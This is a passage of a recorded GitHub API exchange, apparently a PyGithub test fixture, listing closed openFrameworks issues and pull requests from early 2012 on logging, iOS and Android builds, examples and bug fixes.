private?\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1017","comments":2,"milestone":null,"number":1017,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1017","assignee":null,"title":"ofFileDialogResult getPath()/filePath getName()/fileName","labels":[],"closed_at":"2012-03-01T15:59:02Z","created_at":"2012-03-01T06:17:21Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","id":150037},"id":3449854,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T19:34:30Z","body":"On ofxTCPClient and ofxTCPServer there are a \"bool verbose\" variable... should I delete it? because now ever all it´s on OF_LOG_VERBOSE","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1016","comments":1,"milestone":null,"number":1016,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1016","assignee":null,"title":"Replacing printf for ofLog","labels":[],"closed_at":"2012-03-01T19:34:30Z","created_at":"2012-03-01T02:18:10Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914},"id":3448203,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1016","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1016.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1016.diff"}},{"updated_at":"2012-03-26T12:06:03Z","body":"I've made some code styling scripts and an uncrustify config file:\r\n\r\n* ofStyler: runs the OF style config on a file or given dir + file suffix\r\n* styleAddons: runs the of style over an given addon's src dir\r\n* styleOFCore: runs the of style over all .h & .cpp files in the core, adds core_header.txt to the top of files missing a header\r\n\r\nThere is a readme that explains how to use them.\r\n\r\nThe config is not perfect yet, I can't get it to remove the space before the { on enum and class definitions. Sorry Theo ... ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1015","comments":5,"milestone":null,"number":1015,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1015","assignee":null,"title":"OF code styling scripts","labels":[],"closed_at":"2012-03-01T13:14:16Z","created_at":"2012-03-01T01:23:10Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3447720,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1015","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1015.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1015.diff"}},{"updated_at":"2012-02-29T22:51:11Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1014","comments":0,"milestone":null,"number":1014,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1014","assignee":null,"title":"IOS Working on develop branch","labels":[],"closed_at":"2012-02-29T22:51:11Z","created_at":"2012-02-29T22:37:06Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3445668,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1014","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1014.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1014.diff"}},{"updated_at":"2012-02-29T22:54:23Z","body":"Added a small logging example demonstrating the most important features of ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1013","comments":0,"milestone":null,"number":1013,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1013","assignee":null,"title":"Logging example","labels":[],"closed_at":"2012-02-29T22:54:23Z","created_at":"2012-02-29T21:48:24Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3444934,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1013","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1013.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1013.diff"}},{"updated_at":"2012-02-29T22:02:59Z","body":"Thanks Kyle","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1012","comments":0,"milestone":null,"number":1012,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1012","assignee":null,"title":"changing ofEvents.update to ofEvents().update ","labels":[],"closed_at":"2012-02-29T22:02:59Z","created_at":"2012-02-29T21:43:56Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914},"id":3444849,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1012","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1012.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1012.diff"}},{"updated_at":"2012-03-01T02:20:27Z","body":"After yesterday´s changes on ofEvent, I´m having this problem when using core events:\r\n\"Member reference base type 'ofCoreEvents &(*)()' is not a structure or union\" ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1011","comments":3,"milestone":null,"number":1011,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1011","assignee":null,"title":"Error Message on ofEvent","labels":[],"closed_at":"2012-03-01T02:20:27Z","created_at":"2012-02-29T21:15:03Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914},"id":3444375,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-29T21:58:37Z","body":"Added app/DevApps/IOSTesting to get this version of OF running on the iPhone. \r\n\r\nThere is still a bug with ofImage releasing `static set images = new set` I think this happens when IOS runs the app in the back ground. \r\n\r\nBut at least this is a compiling version...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1010","comments":2,"milestone":null,"number":1010,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1010","assignee":null,"title":"IOS testing","labels":[],"closed_at":"2012-02-29T21:58:37Z","created_at":"2012-02-29T20:32:24Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3443629,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1010","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1010.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1010.diff"}},{"updated_at":"2012-02-29T22:29:15Z","body":"GL_RGB5 doesn't exist for OpenGL ES 1.0, so I added an ifdef to work around the problem","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1009","comments":5,"milestone":null,"number":1009,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1009","assignee":null,"title":"Fix to get Android build working again","labels":[],"closed_at":"2012-02-29T17:49:49Z","created_at":"2012-02-29T17:19:56Z","state":"closed","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3440474,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1009","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1009.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1009.diff"}},{"updated_at":"2012-03-02T17:30:17Z","body":"if i use ofSetBackgroundAuto(false) (which is awesome and should never be deprecated!) and then try to save using the pdf saving, i have 2 problems:\r\n\r\n1. the output PDF only shows the last frame drawn.\r\n2. the normal visible window on the screen is cleared every frame.\r\n\r\ni can fix 1 by calling ofSetBackgroundAuto(false) again AFTER calling ofBeginSaveScreenAsPDF, but this doesn't affect 2. i have a testApp that demonstrates the problem, if it helps i can also paste it here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1008","comments":4,"milestone":null,"number":1008,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1008","assignee":null,"title":"ofSetBackgroundAuto(false) doesn't work with ofBeginSaveScreenAsPDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":"2012-03-02T17:30:17Z","created_at":"2012-02-29T16:38:19Z","state":"closed","user":{"url":"https://api.github.com/users/liasomething","avatar_url":"https://secure.gravatar.com/avatar/248569b4b21882f854f3a0eee701cc37?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"248569b4b21882f854f3a0eee701cc37","login":"liasomething","id":183150},"id":3439597,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T14:54:25Z","body":"problem is happening for me in Utils.cpp\r\n\r\n```\r\nvoid findandreplaceInTexfile (string fileName, std::string tFind, std::string tReplace ){\r\n \r\n std::ifstream ifile(fileName.c_str(),std::ios::binary);\r\n\tifile.seekg(0,std::ios_base::end);\r\n\tlong s=ifile.tellg();\r\n```\r\n\r\ns is returning -1 and leads to a crash\r\n\r\nQuick fix that allows it to continue but probably causes other issues\r\n\r\n```\r\nif(s == -1){\r\n\treturn;\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1006","comments":7,"milestone":null,"number":1006,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1006","assignee":null,"title":"projectGenerator crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-03-12T14:54:25Z","created_at":"2012-02-29T07:53:18Z","state":"closed","user":{"url":"https://api.github.com/users/jvcleave","avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","login":"jvcleave","id":150037},"id":3432560,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T12:21:48Z","body":"Added support for startMonitoringSignificantLocationChanges / stopMonitoringSignificantLocationChanges - power-saving way to track general location when a GPS lock isn't needed.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1004","comments":5,"milestone":null,"number":1004,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1004","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"Added support for new low-power GPS feature","labels":[],"closed_at":"2012-03-12T12:21:45Z","created_at":"2012-02-28T23:11:39Z","state":"closed","user":{"url":"https://api.github.com/users/cwcw","avatar_url":"https://secure.gravatar.com/avatar/bb2654a3366b4ba49d566772847c559f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bb2654a3366b4ba49d566772847c559f","login":"cwcw","id":510679},"id":3428232,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1004","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1004.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1004.diff"}},{"updated_at":"2012-03-01T12:57:23Z","body":"had no default","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1003","comments":5,"milestone":null,"number":1003,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1003","assignee":null,"title":"Bugfix ofGetGLTypeFromPixelFormat return","labels":[],"closed_at":"2012-03-01T12:57:23Z","created_at":"2012-02-28T07:23:06Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3414422,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1003","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1003.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1003.diff"}},{"updated_at":"2012-02-27T17:24:05Z","body":"using the delegate, ofx iphone should be able to support an external keyboard. This would also open up support for things like iCade.\r\n\r\nI am looking at the https://github.com/scarnie/iCade-iOS to do a test implementation.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1002","comments":2,"milestone":null,"number":1002,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1002","assignee":null,"title":"Add support for hardware keyboard in ofxiPhone","labels":[],"closed_at":"2012-02-27T17:24:02Z","created_at":"2012-02-27T16:19:01Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":3403380,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T16:19:24Z","body":"fixes Issue #884 ; fixes Issue #912","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1000","comments":10,"milestone":null,"number":1000,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1000","assignee":null,"title":"0071 milestone issue fixes, helper functions for MRT added to ofFbo","labels":[],"closed_at":"2012-03-01T19:32:53Z","created_at":"2012-02-27T14:25:13Z","state":"closed","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3401275,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1000","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1000.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1000.diff"}},{"updated_at":"2012-02-27T14:09:53Z","body":"closes Issue #884","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/999","comments":0,"milestone":null,"number":999,"html_url":"https://github.com/openframeworks/openFrameworks/issues/999","assignee":null,"title":"small changes: fix ofMatrix3x3 hadamard *= issue, add near/far clip getters for ofCamera, MRT helpers in ofFbo","labels":[],"closed_at":"2012-02-27T14:09:53Z","created_at":"2012-02-27T13:57:24Z","state":"closed","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3400899,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/999","patch_url":"https://github.com/openframeworks/openFrameworks/pull/999.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/999.diff"}},{"updated_at":"2012-02-27T16:17:50Z","body":"How to process data on the GPU that´s not only graphics\r\nExplains about pipeline\r\nHave another example of a Geometry Shader","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/998","comments":4,"milestone":null,"number":998,"html_url":"https://github.com/openframeworks/openFrameworks/issues/998","assignee":null,"title":"GPU Particle System","labels":[],"closed_at":"2012-02-27T16:11:21Z","created_at":"2012-02-27T13:38:53Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914},"id":3400644,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/998","patch_url":"https://github.com/openframeworks/openFrameworks/pull/998.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/998.diff"}},{"updated_at":"2012-02-27T13:38:04Z","body":"- pipeline\r\n- how to process data on textures channels other that images\r\n- geom shader","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/997","comments":0,"milestone":null,"number":997,"html_url":"https://github.com/openframeworks/openFrameworks/issues/997","assignee":null,"title":"GPU Particle System ","labels":[],"closed_at":"2012-02-27T13:38:04Z","created_at":"2012-02-27T13:37:40Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914},"id":3400618,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/997","patch_url":"https://github.com/openframeworks/openFrameworks/pull/997.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/997.diff"}},{"updated_at":"2012-02-28T15:27:14Z","body":"Multiple ofLight example, including pointLight, spotLight and directional light.\r\n\r\nofSphere needs to be updated since glScalef does not work with the lighting.\r\nPull request here: https://github.com/openframeworks/openFrameworks/pull/995","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/996","comments":3,"milestone":null,"number":996,"html_url":"https://github.com/openframeworks/openFrameworks/issues/996","assignee":null,"title":"Light example","labels":[],"closed_at":"2012-02-28T15:27:14Z","created_at":"2012-02-27T01:00:21Z","state":"closed","user":{"url":"https://api.github.com/users/NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","id":142694},"id":3394807,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/996","patch_url":"https://github.com/openframeworks/openFrameworks/pull/996.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/996.diff"}},{"updated_at":"2012-03-01T22:21:38Z","body":"Now using ofMesh. \r\nRemoved glScale since it resulted in improper lighting. \r\nAdded tex coords. \r\n~40ms slower than glutSolidSphere. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/995","comments":12,"milestone":null,"number":995,"html_url":"https://github.com/openframeworks/openFrameworks/issues/995","assignee":null,"title":"Of sphere develop","labels":[],"closed_at":"2012-02-29T04:52:40Z","created_at":"2012-02-27T00:48:01Z","state":"closed","user":{"url":"https://api.github.com/users/NickHardeman","avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","login":"NickHardeman","id":142694},"id":3394672,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/995","patch_url":"https://github.com/openframeworks/openFrameworks/pull/995.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/995.diff"}},{"updated_at":"2012-02-26T23:21:51Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/994","comments":0,"milestone":null,"number":994,"html_url":"https://github.com/openframeworks/openFrameworks/issues/994","assignee":null,"title":"Added trigonometric motion example","labels":[],"closed_at":"2012-02-26T23:21:51Z","created_at":"2012-02-26T21:52:14Z","state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878},"id":3393599,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/994","patch_url":"https://github.com/openframeworks/openFrameworks/pull/994.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/994.diff"}},{"updated_at":"2012-02-27T04:10:23Z","body":"i've cleaned up devApps a ton and moved a few relevant examples into examples.\r\n\r\n* AdvancedImageLoading: i'm going to work on it for a bit, it seems to be broken.\r\n* fboTester: i think @kpasko is going to do some porting of this.\r\n* ofSynthFloaties, synthExample, synthSequencingExample: should be removed or ported by @jonbro\r\n* VboExample is pretty awesome, and should be ported to examples. but needs a little more work.\r\n* VboiPhoneExample i can't guarantee this builds. if @obviousjim or @julapy could test this, that would be great.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/992","comments":2,"milestone":null,"number":992,"html_url":"https://github.com/openframeworks/openFrameworks/issues/992","assignee":null,"title":"cleaning up devApps","labels":[],"closed_at":"2012-02-26T20:43:51Z","created_at":"2012-02-26T20:22:48Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3392930,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/992","patch_url":"https://github.com/openframeworks/openFrameworks/pull/992.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/992.diff"}},{"updated_at":"2012-02-26T12:18:55Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/991","comments":0,"milestone":null,"number":991,"html_url":"https://github.com/openframeworks/openFrameworks/issues/991","assignee":null,"title":"ImageFilteringUsingLUTsExample","labels":[],"closed_at":"2012-02-26T12:18:55Z","created_at":"2012-02-26T05:03:20Z","state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878},"id":3389228,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/991","patch_url":"https://github.com/openframeworks/openFrameworks/pull/991.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/991.diff"}},{"updated_at":"2012-02-26T04:11:46Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/990","comments":0,"milestone":null,"number":990,"html_url":"https://github.com/openframeworks/openFrameworks/issues/990","assignee":null,"title":"feature - added guards for reloading textures on the iphone.","labels":[],"closed_at":"2012-02-26T04:11:46Z","created_at":"2012-02-26T02:06:47Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3388718,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/990","patch_url":"https://github.com/openframeworks/openFrameworks/pull/990.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/990.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '28800'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9fab1ce9a082aeb0f790509548340fba"'), ('date', 'Tue, 29 May 2012 18:46:30 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"closed","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"customEventsExample","html_url":"https://github.com/openframeworks/openFrameworks/issues/989","comments":0,"assignee":null,"updated_at":"2012-02-25T23:04:04Z","body":" This example demonstrates a simple game. We have a GameEvent class that is \r\n used to store the bullet and bug that just collided. \r\n \r\n Topics:\r\n ofEventArgs\r\n ofAddListener\r\n ofRemove\r\n vector math\r\n objects & classes\r\n ","number":989,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/989","diff_url":"https://github.com/openframeworks/openFrameworks/pull/989.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/989.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/989","labels":[],"id":3387524,"closed_at":"2012-02-25T23:04:04Z","created_at":"2012-02-25T21:39:25Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"cleaning the devApps","html_url":"https://github.com/openframeworks/openFrameworks/issues/988","comments":0,"assignee":null,"updated_at":"2012-02-25T21:36:51Z","body":"some have been moved to examples, some have been removed completely. as examples, they may not be the best, but they're a good start.","number":988,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/988","diff_url":"https://github.com/openframeworks/openFrameworks/pull/988.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/988.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/988","labels":[],"id":3387329,"closed_at":"2012-02-25T21:36:51Z","created_at":"2012-02-25T20:59:23Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","url":"https://api.github.com/users/damiannz","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Fix to call MoviesTask when in background thread","html_url":"https://github.com/openframeworks/openFrameworks/issues/986","comments":1,"assignee":null,"updated_at":"2012-02-25T19:54:56Z","body":"If movies are only being read in a background thread and MoviesTask isn't being called, sometimes the movies don't end up being updated. \r\n\r\nthis pull request addresses that.","number":986,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/986","diff_url":"https://github.com/openframeworks/openFrameworks/pull/986.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/986.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/986","labels":[],"id":3386966,"closed_at":"2012-02-25T19:54:56Z","created_at":"2012-02-25T19:52:05Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Ofx osc log fixes","html_url":"https://github.com/openframeworks/openFrameworks/issues/983","comments":0,"assignee":null,"updated_at":"2012-02-25T19:54:16Z","body":"Stumbled over some more logging printfs in ofxOsc. \r\nTurns out, there's still O(200) more in the core addons, will make an issue about 